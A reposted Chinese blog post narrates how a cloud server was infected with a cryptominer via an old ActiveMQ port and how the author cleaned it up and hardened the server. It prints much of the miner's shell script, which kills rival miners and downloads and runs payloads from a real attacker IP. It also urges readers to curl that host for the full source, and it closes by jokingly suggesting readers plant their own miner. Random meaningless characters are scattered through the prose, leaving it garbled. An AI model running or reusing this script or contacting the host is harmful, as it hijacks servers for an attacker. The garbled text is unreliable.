保存一下谎僻,之前服務器也被植入木馬好幾次,下次處理可以更加有跡可循一點寓辱,之前都是無頭蒼蠅亂來。
轉載原文:https://my.oschina.net/liughDevelop/blog/1786631#comment-list
摘要: 線上服務器被攻擊赤拒,網頁不能訪問秫筏,數據庫和tomcat蹦掉,重啟直接被killed挎挖。
線上服務器用的是某訊云的这敬,歡快的完美運行著Tomcat,MySQL蕉朵,MongoDB崔涂,ActiveMQ等程序。突然一則噩耗從前線傳來:網站不能訪問了始衅。
此項目是我負責冷蚂,我以150+的手速立即打開了服務器,看到Tomcat掛了汛闸,然后順其自然的重啟蝙茶,啟動過程中直接被killed,再試試數據庫诸老,同樣沒成功隆夯,多次嘗試甚至重啟機器無果。機制的我打了個top别伏,出現(xiàn)以下內容:
這是誰運行的程序蹄衷?不管三七二十一先殺掉再說,因為它就是Tomcat等程序啟動不了的元兇厘肮。然而并沒有什么卵用愧口,過一會再看那個東西又跑出來占cpu。懷疑是個定時任務:
什么鬼轴脐,是個圖片调卑?立即訪問了一下:
好尷尬,但是心思細膩的我早知道沒這么簡單大咱,肯定只是偽裝,crul過去是下面的腳本溯捆,過程就是在挖礦:
#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中間省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."
有興趣的同學想查看以上完整源代碼提揍,命令行運行下面指令(不分操作系統(tǒng)劳跃,方便安全無污染):
curl 192.99.142.235:8220/logo3.jpg
既然知道它是個定時任務刨仑,那就先取消了它,并且看看它是誰在運行:
殺掉辙诞,找到存放目錄:
進入臨時目錄:
被我發(fā)現(xiàn)配置文件了,先來看看內容:
虎軀一震祈搜,發(fā)現(xiàn)了不少信息啊夭问,user是他的server的登錄用戶,下面是密碼缰趋,只可惜加密過秘血,應該找不到對方。算了灰粮,大度的我先不和你計較粘舟。干掉這兩個文件后再查看top:
解決辦法
找到寄生的目錄柑肴,一般都會在tmp里晰骑,我這個是在/var/tmp/。首先把crontab干掉秽荞,殺掉進程,再刪除產生的文件阶捆。啟動Tomcat等程序趁猴,大功告成彪见!
等等余指,這遠遠不夠酵镜,考慮到能被拿去挖礦的前提下你的服務器都已經被黑客入侵了淮韭,修復漏洞才對靠粪,不然你殺掉進程刪掉文件后,黑客后門進來history一敲占键,都知道你做了啥修復手段畔乙。
所以上面辦法治標不治本翩概,我后續(xù)做了以下工作:
1.把所有軟件升級到新版本
2.修改所有軟件默認端口號
3.打開ssh/authorized_keys, 刪除不認識的密鑰
4.刪除用戶列表中陌生的帳號
5.封了他的ip
6.SSH使用密鑰登錄并禁止口令登錄(這個一般是加運維一個人的秘鑰)
對了牍鞠,本次遭受攻擊是低版本ActiveMQ開放端口61616有漏洞上沐,大家記得做優(yōu)化。滔哥給提供了最好的方式:將主機鏡像龄广。找出病毒木馬择同,分析入侵原因。檢查業(yè)務程序裹纳。重裝系統(tǒng)剃氧。修復漏洞阻星。再重新部署系統(tǒng)妥箕。
寫在最后畦幢,網友提供的一勞永逸終極解決辦法:
把你自己的挖礦腳本掛上去運行,這樣別人就算掛腳本也跑不起來了瘦真。